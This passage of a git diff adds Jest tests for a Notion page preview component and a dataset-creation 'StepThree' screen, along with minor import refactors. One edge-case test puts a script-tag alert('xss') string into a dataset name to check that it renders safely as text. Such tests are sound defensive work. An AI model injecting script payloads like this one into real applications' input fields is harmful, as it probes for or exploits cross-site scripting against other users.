+        expect(container.firstChild).toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Page Type Variations Tests
+  // --------------------------------------------------------------------------
+  describe('Page Type Variations', () => {
+    it('should handle page type', async () => {
+      // Arrange
+      const page = createMockNotionPage({ type: 'page' })
+
+      // Act
+      await renderNotionPagePreview({ currentPage: page })
+
+      // Assert
+      expect(mockFetchNotionPagePreview).toHaveBeenCalledWith(
+        expect.objectContaining({ pageType: 'page' }),
+      )
+    })
+
+    it('should handle database type', async () => {
+      // Arrange
+      const page = createMockNotionPage({ type: 'database' })
+
+      // Act
+      await renderNotionPagePreview({ currentPage: page })
+
+      // Assert
+      expect(mockFetchNotionPagePreview).toHaveBeenCalledWith(
+        expect.objectContaining({ pageType: 'database' }),
+      )
+    })
+
+    it('should handle unknown type', async () => {
+      // Arrange
+      const page = createMockNotionPage({ type: 'unknown_type' })
+
+      // Act
+      await renderNotionPagePreview({ currentPage: page })
+
+      // Assert
+      expect(mockFetchNotionPagePreview).toHaveBeenCalledWith(
+        expect.objectContaining({ pageType: 'unknown_type' }),
+      )
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Icon Type Variations Tests
+  // --------------------------------------------------------------------------
+  describe('Icon Type Variations', () => {
+    it('should handle page with null icon', async () => {
+      // Arrange
+      const page = createMockNotionPage({ page_icon: null })
+
+      // Act
+      const { container } = await renderNotionPagePreview({ currentPage: page })
+
+      // Assert - Should render default icon
+      const svgIcon = container.querySelector('svg')
+      expect(svgIcon).toBeInTheDocument()
+    })
+
+    it('should handle page with emoji icon object', async () => {
+      // Arrange
+      const page = createMockNotionPageWithEmojiIcon('📄')
+
+      // Act
+      await renderNotionPagePreview({ currentPage: page })
+
+      // Assert
+      expect(screen.getByText('📄')).toBeInTheDocument()
+    })
+
+    it('should handle page with url icon object', async () => {
+      // Arrange
+      const page = createMockNotionPageWithUrlIcon('https://example.com/custom-icon.png')
+
+      // Act
+      const { container } = await renderNotionPagePreview({ currentPage: page })
+
+      // Assert
+      const img = container.querySelector('img[alt="page icon"]')
+      expect(img).toBeInTheDocument()
+      expect(img).toHaveAttribute('src', 'https://example.com/custom-icon.png')
+    })
+
+    it('should handle page with icon object having null values', async () => {
+      // Arrange
+      const page = createMockNotionPage({
+        page_icon: {
+          type: null,
+          url: null,
+          emoji: null,
+        },
+      })
+
+      // Act
+      const { container } = await renderNotionPagePreview({ currentPage: page })
+
+      // Assert - Should render, likely with default/fallback
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should handle page with icon object having empty url', async () => {
+      // Arrange
+      // Suppress console.error for this test as we're intentionally testing empty src edge case
+      const consoleErrorSpy = jest.spyOn(console, 'error').mockImplementation(jest.fn())
+
+      const page = createMockNotionPage({
+        page_icon: {
+          type: 'url',
+          url: '',
+          emoji: null,
+        },
+      })
+
+      // Act
+      const { container } = await renderNotionPagePreview({ currentPage: page })
+
+      // Assert - Component should not crash, may render img or fallback
+      expect(container.firstChild).toBeInTheDocument()
+      // NotionIcon renders img when type is 'url'
+      const img = container.querySelector('img[alt="page icon"]')
+      if (img)
+        expect(img).toBeInTheDocument()
+
+      // Restore console.error
+      consoleErrorSpy.mockRestore()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Content Display Tests
+  // --------------------------------------------------------------------------
+  describe('Content Display', () => {
+    it('should display content in fileContent div with correct class', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockResolvedValue({ content: 'Test content' })
+
+      // Act
+      const { container } = await renderNotionPagePreview()
+
+      // Assert
+      const contentDiv = container.querySelector('.fileContent')
+      expect(contentDiv).toBeInTheDocument()
+      expect(contentDiv).toHaveTextContent('Test content')
+    })
+
+    it('should preserve whitespace in content', async () => {
+      // Arrange
+      const contentWithWhitespace = '  indented content\n    more indent'
+      mockFetchNotionPagePreview.mockResolvedValue({ content: contentWithWhitespace })
+
+      // Act
+      const { container } = await renderNotionPagePreview()
+
+      // Assert
+      const contentDiv = container.querySelector('.fileContent')
+      expect(contentDiv).toBeInTheDocument()
+      // The CSS class has white-space: pre-line
+      expect(contentDiv?.textContent).toContain('indented content')
+    })
+
+    it('should display empty string content without loading', async () => {
+      // Arrange
+      mockFetchNotionPagePreview.mockResolvedValue({ content: '' })
+
+      // Act
+      const { container } = await renderNotionPagePreview()
+
+      // Assert
+      const loadingElement = findLoadingSpinner(container)
+      expect(loadingElement).not.toBeInTheDocument()
+      const contentDiv = container.querySelector('.fileContent')
+      expect(contentDiv).toBeInTheDocument()
+      expect(contentDiv?.textContent).toBe('')
+    })
+  })
+})
diff --git a/web/app/components/datasets/create/notion-page-preview/index.tsx b/web/app/components/datasets/create/notion-page-preview/index.tsx
index 000b84ac62..456b124324 100644
--- a/web/app/components/datasets/create/notion-page-preview/index.tsx
+++ b/web/app/components/datasets/create/notion-page-preview/index.tsx
@@ -4,7 +4,7 @@ import { useTranslation } from 'react-i18next'
 import { XMarkIcon } from '@heroicons/react/20/solid'
 import Loading from '@/app/components/base/loading'
 import s from './index.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { NotionPage } from '@/models/common'
 import NotionIcon from '@/app/components/base/notion-icon'
 import { fetchNotionPagePreview } from '@/service/datasets'
@@ -29,7 +29,6 @@ const NotionPagePreview = ({
       return
     try {
       const res = await fetchNotionPagePreview({
-        workspaceID: currentPage.workspace_id,
         pageID: currentPage.page_id,
         pageType: currentPage.type,
         credentialID: notionCredentialId,
diff --git a/web/app/components/datasets/create/step-one/index.tsx b/web/app/components/datasets/create/step-one/index.tsx
index e70feb204c..e844fd1b8a 100644
--- a/web/app/components/datasets/create/step-one/index.tsx
+++ b/web/app/components/datasets/create/step-one/index.tsx
@@ -9,7 +9,6 @@ import EmptyDatasetCreationModal from '../empty-dataset-creation-modal'
 import Website from '../website'
 import WebsitePreview from '../website/preview'
 import s from './index.module.css'
-import cn from '@/utils/classnames'
 import type { CrawlOptions, CrawlResultItem, FileItem } from '@/models/datasets'
 import type { DataSourceProvider, NotionPage } from '@/models/common'
 import { DataSourceType } from '@/models/datasets'
@@ -18,7 +17,7 @@ import { NotionPageSelector } from '@/app/components/base/notion-page-selector'
 import { useDatasetDetailContextWithSelector } from '@/context/dataset-detail'
 import { useProviderContext } from '@/context/provider-context'
 import VectorSpaceFull from '@/app/components/billing/vector-space-full'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ENABLE_WEBSITE_FIRECRAWL, ENABLE_WEBSITE_JINAREADER, ENABLE_WEBSITE_WATERCRAWL } from '@/config'
 import NotionConnector from '@/app/components/base/notion-connector'
 import type { DataSourceAuth } from '@/app/components/header/account-setting/data-source-page-new/types'
@@ -165,10 +164,10 @@ const StepOne = ({
       <div className='flex h-full w-full min-w-[1440px]'>
         <div className='relative h-full w-1/2 overflow-y-auto'>
           <div className='flex justify-end'>
-            <div className={classNames(s.form)}>
+            <div className={cn(s.form)}>
               {
                 shouldShowDataSourceTypeList && (
-                  <div className={classNames(s.stepHeader, 'system-md-semibold text-text-secondary')}>
+                  <div className={cn(s.stepHeader, 'system-md-semibold text-text-secondary')}>
                     {t('datasetCreation.steps.one')}
                   </div>
                 )
diff --git a/web/app/components/datasets/create/step-three/index.spec.tsx b/web/app/components/datasets/create/step-three/index.spec.tsx
new file mode 100644
index 0000000000..02746c8aee
--- /dev/null
+++ b/web/app/components/datasets/create/step-three/index.spec.tsx
@@ -0,0 +1,844 @@
+import { render, screen } from '@testing-library/react'
+import StepThree from './index'
+import type { FullDocumentDetail, IconInfo, createDocumentResponse } from '@/models/datasets'
+
+// Mock the EmbeddingProcess component since it has complex async logic
+jest.mock('../embedding-process', () => ({
+  __esModule: true,
+  default: jest.fn(({ datasetId, batchId, documents, indexingType, retrievalMethod }) => (
+    <div data-testid="embedding-process">
+      <span data-testid="ep-dataset-id">{datasetId}</span>
+      <span data-testid="ep-batch-id">{batchId}</span>
+      <span data-testid="ep-documents-count">{documents?.length ?? 0}</span>
+      <span data-testid="ep-indexing-type">{indexingType}</span>
+      <span data-testid="ep-retrieval-method">{retrievalMethod}</span>
+    </div>
+  )),
+}))
+
+// Mock useBreakpoints hook
+let mockMediaType = 'pc'
+jest.mock('@/hooks/use-breakpoints', () => ({
+  __esModule: true,
+  MediaType: {
+    mobile: 'mobile',
+    tablet: 'tablet',
+    pc: 'pc',
+  },
+  default: jest.fn(() => mockMediaType),
+}))
+
+// Mock useDocLink hook
+jest.mock('@/context/i18n', () => ({
+  useDocLink: () => (path?: string) => `https://docs.dify.ai/en-US${path || ''}`,
+}))
+
+// Factory function to create mock IconInfo
+const createMockIconInfo = (overrides: Partial<IconInfo> = {}): IconInfo => ({
+  icon: '📙',
+  icon_type: 'emoji',
+  icon_background: '#FFF4ED',
+  icon_url: '',
+  ...overrides,
+})
+
+// Factory function to create mock FullDocumentDetail
+const createMockDocument = (overrides: Partial<FullDocumentDetail> = {}): FullDocumentDetail => ({
+  id: 'doc-123',
+  name: 'test-document.txt',
+  data_source_type: 'upload_file',
+  data_source_info: {
+    upload_file: {
+      id: 'file-123',
+      name: 'test-document.txt',
+      extension: 'txt',
+      mime_type: 'text/plain',
+      size: 1024,
+      created_by: 'user-1',
+      created_at: Date.now(),
+    },
+  },
+  batch: 'batch-123',
+  created_api_request_id: 'request-123',
+  processing_started_at: Date.now(),
+  parsing_completed_at: Date.now(),
+  cleaning_completed_at: Date.now(),
+  splitting_completed_at: Date.now(),
+  tokens: 100,
+  indexing_latency: 5000,
+  completed_at: Date.now(),
+  paused_by: '',
+  paused_at: 0,
+  stopped_at: 0,
+  indexing_status: 'completed',
+  disabled_at: 0,
+  ...overrides,
+} as FullDocumentDetail)
+
+// Factory function to create mock createDocumentResponse
+const createMockCreationCache = (overrides: Partial<createDocumentResponse> = {}): createDocumentResponse => ({
+  dataset: {
+    id: 'dataset-123',
+    name: 'Test Dataset',
+    icon_info: createMockIconInfo(),
+    indexing_technique: 'high_quality',
+    retrieval_model_dict: {
+      search_method: 'semantic_search',
+    },
+  } as createDocumentResponse['dataset'],
+  batch: 'batch-123',
+  documents: [createMockDocument()] as createDocumentResponse['documents'],
+  ...overrides,
+})
+
+// Helper to render StepThree with default props
+const renderStepThree = (props: Partial<Parameters<typeof StepThree>[0]> = {}) => {
+  const defaultProps = {
+    ...props,
+  }
+  return render(<StepThree {...defaultProps} />)
+}
+
+// ============================================================================
+// StepThree Component Tests
+// ============================================================================
+describe('StepThree', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockMediaType = 'pc'
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests - Verify component renders properly
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderStepThree()
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+    })
+
+    it('should render with creation title when datasetId is not provided', () => {
+      // Arrange & Act
+      renderStepThree()
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepThree.creationTitle')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.stepThree.creationContent')).toBeInTheDocument()
+    })
+
+    it('should render with addition title when datasetId is provided', () => {
+      // Arrange & Act
+      renderStepThree({
+        datasetId: 'existing-dataset-123',
+        datasetName: 'Existing Dataset',
+      })
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepThree.additionTitle')).toBeInTheDocument()
+      expect(screen.queryByText('datasetCreation.stepThree.creationTitle')).not.toBeInTheDocument()
+    })
+
+    it('should render label text in creation mode', () => {
+      // Arrange & Act
+      renderStepThree()
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepThree.label')).toBeInTheDocument()
+    })
+
+    it('should render side tip panel on desktop', () => {
+      // Arrange
+      mockMediaType = 'pc'
+
+      // Act
+      renderStepThree()
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepThree.sideTipTitle')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.stepThree.sideTipContent')).toBeInTheDocument()
+      expect(screen.getByText('datasetPipeline.addDocuments.stepThree.learnMore')).toBeInTheDocument()
+    })
+
+    it('should not render side tip panel on mobile', () => {
+      // Arrange
+      mockMediaType = 'mobile'
+
+      // Act
+      renderStepThree()
+
+      // Assert
+      expect(screen.queryByText('datasetCreation.stepThree.sideTipTitle')).not.toBeInTheDocument()
+      expect(screen.queryByText('datasetCreation.stepThree.sideTipContent')).not.toBeInTheDocument()
+    })
+
+    it('should render EmbeddingProcess component', () => {
+      // Arrange & Act
+      renderStepThree()
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+    })
+
+    it('should render documentation link with correct href on desktop', () => {
+      // Arrange
+      mockMediaType = 'pc'
+
+      // Act
+      renderStepThree()
+
+      // Assert
+      const link = screen.getByText('datasetPipeline.addDocuments.stepThree.learnMore')
+      expect(link).toHaveAttribute('href', 'https://docs.dify.ai/en-US/guides/knowledge-base/integrate-knowledge-within-application')
+      expect(link).toHaveAttribute('target', '_blank')
+      expect(link).toHaveAttribute('rel', 'noreferrer noopener')
+    })
+
+    it('should apply correct container classes', () => {
+      // Arrange & Act
+      const { container } = renderStepThree()
+
+      // Assert
+      const outerDiv = container.firstChild as HTMLElement
+      expect(outerDiv).toHaveClass('flex', 'h-full', 'max-h-full', 'w-full', 'justify-center', 'overflow-y-auto')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Testing - Test all prop variations
+  // --------------------------------------------------------------------------
+  describe('Props', () => {
+    describe('datasetId prop', () => {
+      it('should render creation mode when datasetId is undefined', () => {
+        // Arrange & Act
+        renderStepThree({ datasetId: undefined })
+
+        // Assert
+        expect(screen.getByText('datasetCreation.stepThree.creationTitle')).toBeInTheDocument()
+      })
+
+      it('should render addition mode when datasetId is provided', () => {
+        // Arrange & Act
+        renderStepThree({ datasetId: 'dataset-123' })
+
+        // Assert
+        expect(screen.getByText('datasetCreation.stepThree.additionTitle')).toBeInTheDocument()
+      })
+
+      it('should pass datasetId to EmbeddingProcess', () => {
+        // Arrange
+        const datasetId = 'my-dataset-id'
+
+        // Act
+        renderStepThree({ datasetId })
+
+        // Assert
+        expect(screen.getByTestId('ep-dataset-id')).toHaveTextContent(datasetId)
+      })
+
+      it('should use creationCache dataset id when datasetId is not provided', () => {
+        // Arrange
+        const creationCache = createMockCreationCache()
+
+        // Act
+        renderStepThree({ creationCache })
+
+        // Assert
+        expect(screen.getByTestId('ep-dataset-id')).toHaveTextContent('dataset-123')
+      })
+    })
+
+    describe('datasetName prop', () => {
+      it('should display datasetName in creation mode', () => {
+        // Arrange & Act
+        renderStepThree({ datasetName: 'My Custom Dataset' })
+
+        // Assert
+        expect(screen.getByText('My Custom Dataset')).toBeInTheDocument()
+      })
+
+      it('should display datasetName in addition mode description', () => {
+        // Arrange & Act
+        renderStepThree({
+          datasetId: 'dataset-123',
+          datasetName: 'Existing Dataset Name',
+        })
+
+        // Assert - Check the text contains the dataset name (in the description)
+        const description = screen.getByText(/datasetCreation.stepThree.additionP1.*Existing Dataset Name.*datasetCreation.stepThree.additionP2/i)
+        expect(description).toBeInTheDocument()
+      })
+
+      it('should fallback to creationCache dataset name when datasetName is not provided', () => {
+        // Arrange
+        const creationCache = createMockCreationCache()
+        creationCache.dataset!.name = 'Cache Dataset Name'
+
+        // Act
+        renderStepThree({ creationCache })
+
+        // Assert
+        expect(screen.getByText('Cache Dataset Name')).toBeInTheDocument()
+      })
+    })
+
+    describe('indexingType prop', () => {
+      it('should pass indexingType to EmbeddingProcess', () => {
+        // Arrange & Act
+        renderStepThree({ indexingType: 'high_quality' })
+
+        // Assert
+        expect(screen.getByTestId('ep-indexing-type')).toHaveTextContent('high_quality')
+      })
+
+      it('should use creationCache indexing_technique when indexingType is not provided', () => {
+        // Arrange
+        const creationCache = createMockCreationCache()
+        creationCache.dataset!.indexing_technique = 'economy' as any
+
+        // Act
+        renderStepThree({ creationCache })
+
+        // Assert
+        expect(screen.getByTestId('ep-indexing-type')).toHaveTextContent('economy')
+      })
+
+      it('should prefer creationCache indexing_technique over indexingType prop', () => {
+        // Arrange
+        const creationCache = createMockCreationCache()
+        creationCache.dataset!.indexing_technique = 'cache_technique' as any
+
+        // Act
+        renderStepThree({ creationCache, indexingType: 'prop_technique' })
+
+        // Assert - creationCache takes precedence
+        expect(screen.getByTestId('ep-indexing-type')).toHaveTextContent('cache_technique')
+      })
+    })
+
+    describe('retrievalMethod prop', () => {
+      it('should pass retrievalMethod to EmbeddingProcess', () => {
+        // Arrange & Act
+        renderStepThree({ retrievalMethod: 'semantic_search' })
+
+        // Assert
+        expect(screen.getByTestId('ep-retrieval-method')).toHaveTextContent('semantic_search')
+      })
+
+      it('should use creationCache retrieval method when retrievalMethod is not provided', () => {
+        // Arrange
+        const creationCache = createMockCreationCache()
+        creationCache.dataset!.retrieval_model_dict = { search_method: 'full_text_search' } as any
+
+        // Act
+        renderStepThree({ creationCache })
+
+        // Assert
+        expect(screen.getByTestId('ep-retrieval-method')).toHaveTextContent('full_text_search')
+      })
+    })
+
+    describe('creationCache prop', () => {
+      it('should pass batchId from creationCache to EmbeddingProcess', () => {
+        // Arrange
+        const creationCache = createMockCreationCache()
+        creationCache.batch = 'custom-batch-123'
+
+        // Act
+        renderStepThree({ creationCache })
+
+        // Assert
+        expect(screen.getByTestId('ep-batch-id')).toHaveTextContent('custom-batch-123')
+      })
+
+      it('should pass documents from creationCache to EmbeddingProcess', () => {
+        // Arrange
+        const creationCache = createMockCreationCache()
+        creationCache.documents = [createMockDocument(), createMockDocument(), createMockDocument()] as any
+
+        // Act
+        renderStepThree({ creationCache })
+
+        // Assert
+        expect(screen.getByTestId('ep-documents-count')).toHaveTextContent('3')
+      })
+
+      it('should use icon_info from creationCache dataset', () => {
+        // Arrange
+        const creationCache = createMockCreationCache()
+        creationCache.dataset!.icon_info = createMockIconInfo({
+          icon: '🚀',
+          icon_background: '#FF0000',
+        })
+
+        // Act
+        const { container } = renderStepThree({ creationCache })
+
+        // Assert - Check AppIcon component receives correct props
+        const appIcon = container.querySelector('span[style*="background"]')
+        expect(appIcon).toBeInTheDocument()
+      })
+
+      it('should handle undefined creationCache', () => {
+        // Arrange & Act
+        renderStepThree({ creationCache: undefined })
+
+        // Assert - Should not crash, use fallback values
+        expect(screen.getByTestId('ep-dataset-id')).toHaveTextContent('')
+        expect(screen.getByTestId('ep-batch-id')).toHaveTextContent('')
+      })
+
+      it('should handle creationCache with undefined dataset', () => {
+        // Arrange
+        const creationCache: createDocumentResponse = {
+          dataset: undefined,
+          batch: 'batch-123',
+          documents: [],
+        }
+
+        // Act
+        renderStepThree({ creationCache })
+
+        // Assert - Should use default icon info
+        expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases Tests - Test null, undefined, empty values and boundaries
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle all props being undefined', () => {
+      // Arrange & Act
+      renderStepThree({
+        datasetId: undefined,
+        datasetName: undefined,
+        indexingType: undefined,
+        retrievalMethod: undefined,
+        creationCache: undefined,
+      })
+
+      // Assert - Should render creation mode with fallbacks
+      expect(screen.getByText('datasetCreation.stepThree.creationTitle')).toBeInTheDocument()
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+    })
+
+    it('should handle empty string datasetId', () => {
+      // Arrange & Act
+      renderStepThree({ datasetId: '' })
+
+      // Assert - Empty string is falsy, should show creation mode
+      expect(screen.getByText('datasetCreation.stepThree.creationTitle')).toBeInTheDocument()
+    })
+
+    it('should handle empty string datasetName', () => {
+      // Arrange & Act
+      renderStepThree({ datasetName: '' })
+
+      // Assert - Should not crash
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+    })
+
+    it('should handle empty documents array in creationCache', () => {
+      // Arrange
+      const creationCache = createMockCreationCache()
+      creationCache.documents = []
+
+      // Act
+      renderStepThree({ creationCache })
+
+      // Assert
+      expect(screen.getByTestId('ep-documents-count')).toHaveTextContent('0')
+    })
+
+    it('should handle creationCache with missing icon_info', () => {
+      // Arrange
+      const creationCache = createMockCreationCache()
+      creationCache.dataset!.icon_info = undefined as any
+
+      // Act
+      renderStepThree({ creationCache })
+
+      // Assert - Should use default icon info
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+    })
+
+    it('should handle very long datasetName', () => {
+      // Arrange
+      const longName = 'A'.repeat(500)
+
+      // Act
+      renderStepThree({ datasetName: longName })
+
+      // Assert - Should render without crashing
+      expect(screen.getByText(longName)).toBeInTheDocument()
+    })
+
+    it('should handle special characters in datasetName', () => {
+      // Arrange
+      const specialName = 'Dataset <script>alert("xss")</script> & "quotes" \'apostrophe\''
+
+      // Act
+      renderStepThree({ datasetName: specialName })
+
+      // Assert - Should render safely as text
+      expect(screen.getByText(specialName)).toBeInTheDocument()
+    })
+
+    it('should handle unicode characters in datasetName', () => {
+      // Arrange
+      const unicodeName = '数据集名称 🚀 émojis & spëcîal çhàrs'
+
+      // Act
+      renderStepThree({ datasetName: unicodeName })
+
+      // Assert
+      expect(screen.getByText(unicodeName)).toBeInTheDocument()
+    })
+
+    it('should handle creationCache with null dataset name', () => {
+      // Arrange
+      const creationCache = createMockCreationCache()
+      creationCache.dataset!.name = null as any
+
+      // Act
+      const { container } = renderStepThree({ creationCache })
+
+      // Assert - Should not crash
+      expect(container.firstChild).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Conditional Rendering Tests - Test mode switching behavior
+  // --------------------------------------------------------------------------
+  describe('Conditional Rendering', () => {
+    describe('Creation Mode (no datasetId)', () => {
+      it('should show AppIcon component', () => {
+        // Arrange & Act
+        const { container } = renderStepThree()
+
+        // Assert - AppIcon should be rendered
+        const appIcon = container.querySelector('span')
+        expect(appIcon).toBeInTheDocument()
+      })
+
+      it('should show Divider component', () => {
+        // Arrange & Act
+        const { container } = renderStepThree()
+
+        // Assert - Divider should be rendered (it adds hr with specific classes)
+        const dividers = container.querySelectorAll('[class*="divider"]')
+        expect(dividers.length).toBeGreaterThan(0)
+      })
+
+      it('should show dataset name input area', () => {
+        // Arrange
+        const datasetName = 'Test Dataset Name'
+
+        // Act
+        renderStepThree({ datasetName })
+
+        // Assert
+        expect(screen.getByText(datasetName)).toBeInTheDocument()
+      })
+    })
+
+    describe('Addition Mode (with datasetId)', () => {
+      it('should not show AppIcon component', () => {
+        // Arrange & Act
+        renderStepThree({ datasetId: 'dataset-123' })
+
+        // Assert - Creation section should not be rendered
+        expect(screen.queryByText('datasetCreation.stepThree.label')).not.toBeInTheDocument()
+      })
+
+      it('should show addition description with dataset name', () => {
+        // Arrange & Act
+        renderStepThree({
+          datasetId: 'dataset-123',
+          datasetName: 'My Dataset',
+        })
+
+        // Assert - Description should include dataset name
+        expect(screen.getByText(/datasetCreation.stepThree.additionP1/)).toBeInTheDocument()
+      })
+    })
+
+    describe('Mobile vs Desktop', () => {
+      it('should show side panel on tablet', () => {
+        // Arrange
+        mockMediaType = 'tablet'
+
+        // Act
+        renderStepThree()
+
+        // Assert - Tablet is not mobile, should show side panel
+        expect(screen.getByText('datasetCreation.stepThree.sideTipTitle')).toBeInTheDocument()
+      })
+
+      it('should not show side panel on mobile', () => {
+        // Arrange
+        mockMediaType = 'mobile'
+
+        // Act
+        renderStepThree()
+
+        // Assert
+        expect(screen.queryByText('datasetCreation.stepThree.sideTipTitle')).not.toBeInTheDocument()
+      })
+
+      it('should render EmbeddingProcess on mobile', () => {
+        // Arrange
+        mockMediaType = 'mobile'
+
+        // Act
+        renderStepThree()
+
+        // Assert - Main content should still be rendered
+        expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // EmbeddingProcess Integration Tests - Verify correct props are passed
+  // --------------------------------------------------------------------------
+  describe('EmbeddingProcess Integration', () => {
+    it('should pass correct datasetId to EmbeddingProcess with datasetId prop', () => {
+      // Arrange & Act
+      renderStepThree({ datasetId: 'direct-dataset-id' })
+
+      // Assert
+      expect(screen.getByTestId('ep-dataset-id')).toHaveTextContent('direct-dataset-id')
+    })
+
+    it('should pass creationCache dataset id when datasetId prop is undefined', () => {
+      // Arrange
+      const creationCache = createMockCreationCache()
+      creationCache.dataset!.id = 'cache-dataset-id'
+
+      // Act
+      renderStepThree({ creationCache })
+
+      // Assert
+      expect(screen.getByTestId('ep-dataset-id')).toHaveTextContent('cache-dataset-id')
+    })
+
+    it('should pass empty string for datasetId when both sources are undefined', () => {
+      // Arrange & Act
+      renderStepThree()
+
+      // Assert
+      expect(screen.getByTestId('ep-dataset-id')).toHaveTextContent('')
+    })
+
+    it('should pass batchId from creationCache', () => {
+      // Arrange
+      const creationCache = createMockCreationCache()
+      creationCache.batch = 'test-batch-456'
+
+      // Act
+      renderStepThree({ creationCache })
+
+      // Assert
+      expect(screen.getByTestId('ep-batch-id')).toHaveTextContent('test-batch-456')
+    })
+
+    it('should pass empty string for batchId when creationCache is undefined', () => {
+      // Arrange & Act
+      renderStepThree()
+
+      // Assert
+      expect(screen.getByTestId('ep-batch-id')).toHaveTextContent('')
+    })
+
+    it('should prefer datasetId prop over creationCache dataset id', () => {
+      // Arrange
+      const creationCache = createMockCreationCache()
+      creationCache.dataset!.id = 'cache-id'
+
+      // Act
+      renderStepThree({ datasetId: 'prop-id', creationCache })
+
+      // Assert - datasetId prop takes precedence
+      expect(screen.getByTestId('ep-dataset-id')).toHaveTextContent('prop-id')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Icon Rendering Tests - Verify AppIcon behavior
+  // --------------------------------------------------------------------------
+  describe('Icon Rendering', () => {
+    it('should use default icon info when creationCache is undefined', () => {
+      // Arrange & Act
+      const { container } = renderStepThree()
+
+      // Assert - Default background color should be applied
+      const appIcon = container.querySelector('span[style*="background"]')
+      if (appIcon)
+        expect(appIcon).toHaveStyle({ background: '#FFF4ED' })
+    })
+
+    it('should use icon_info from creationCache when available', () => {
+      // Arrange
+      const creationCache = createMockCreationCache()
+      creationCache.dataset!.icon_info = {
+        icon: '🎉',
+        icon_type: 'emoji',
+        icon_background: '#00FF00',
+        icon_url: '',
+      }
+
+      // Act
+      const { container } = renderStepThree({ creationCache })
+
+      // Assert - Custom background color should be applied
+      const appIcon = container.querySelector('span[style*="background"]')
+      if (appIcon)
+        expect(appIcon).toHaveStyle({ background: '#00FF00' })
+    })
+
+    it('should use default icon when creationCache dataset icon_info is undefined', () => {
+      // Arrange
+      const creationCache = createMockCreationCache()
+      delete (creationCache.dataset as any).icon_info
+
+      // Act
+      const { container } = renderStepThree({ creationCache })
+
+      // Assert - Component should still render with default icon
+      expect(container.firstChild).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Layout Tests - Verify correct CSS classes and structure
+  // --------------------------------------------------------------------------
+  describe('Layout', () => {
+    it('should have correct outer container classes', () => {
+      // Arrange & Act
+      const { container } = renderStepThree()
+
+      // Assert
+      const outerDiv = container.firstChild as HTMLElement
+      expect(outerDiv).toHaveClass('flex')
+      expect(outerDiv).toHaveClass('h-full')
+      expect(outerDiv).toHaveClass('justify-center')
+    })
+
+    it('should have correct inner container classes', () => {
+      // Arrange & Act
+      const { container } = renderStepThree()
+
+      // Assert
+      const innerDiv = container.querySelector('.max-w-\\[960px\\]')
+      expect(innerDiv).toBeInTheDocument()
+      expect(innerDiv).toHaveClass('shrink-0', 'grow')
+    })
+
+    it('should have content wrapper with correct max width', () => {
+      // Arrange & Act
+      const { container } = renderStepThree()
+
+      // Assert
+      const contentWrapper = container.querySelector('.max-w-\\[640px\\]')
+      expect(contentWrapper).toBeInTheDocument()
+    })
+
+    it('should have side tip panel with correct width on desktop', () => {
+      // Arrange
+      mockMediaType = 'pc'
+
+      // Act
+      const { container } = renderStepThree()
+
+      // Assert
+      const sidePanel = container.querySelector('.w-\\[328px\\]')
+      expect(sidePanel).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Accessibility Tests - Verify accessibility features
+  // --------------------------------------------------------------------------
+  describe('Accessibility', () => {
+    it('should have correct link attributes for external documentation link', () => {
+      // Arrange
+      mockMediaType = 'pc'
+
+      // Act
+      renderStepThree()
+
+      // Assert
+      const link = screen.getByText('datasetPipeline.addDocuments.stepThree.learnMore')
+      expect(link.tagName).toBe('A')
+      expect(link).toHaveAttribute('target', '_blank')
+      expect(link).toHaveAttribute('rel', 'noreferrer noopener')
+    })
+
+    it('should have semantic heading structure in creation mode', () => {
+      // Arrange & Act
+      renderStepThree()
+
+      // Assert
+      const title = screen.getByText('datasetCreation.stepThree.creationTitle')
+      expect(title).toBeInTheDocument()
+      expect(title.className).toContain('title-2xl-semi-bold')
+    })
+
+    it('should have semantic heading structure in addition mode', () => {
+      // Arrange & Act
+      renderStepThree({ datasetId: 'dataset-123' })
+
+      // Assert
+      const title = screen.getByText('datasetCreation.stepThree.additionTitle')
+      expect(title).toBeInTheDocument()
+      expect(title.className).toContain('title-2xl-semi-bold')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Side Panel Tests - Verify side panel behavior
+  // --------------------------------------------------------------------------
+  describe('Side Panel', () => {
+    it('should render RiBookOpenLine icon in side panel', () => {
+      // Arrange
+      mockMediaType = 'pc'
+
+      // Act
+      const { container } = renderStepThree()
+
+      // Assert - Icon should be present in side panel
+      const iconContainer = container.querySelector('.size-10')
+      expect(iconContainer).toBeInTheDocument()
+    })
+
+    it('should have correct side panel section background', () => {
+      // Arrange
+      mockMediaType = 'pc'
+
+      // Act
+      const { container } = renderStepThree()
+
+      // Assert
+      const sidePanel = container.querySelector('.bg-background-section')
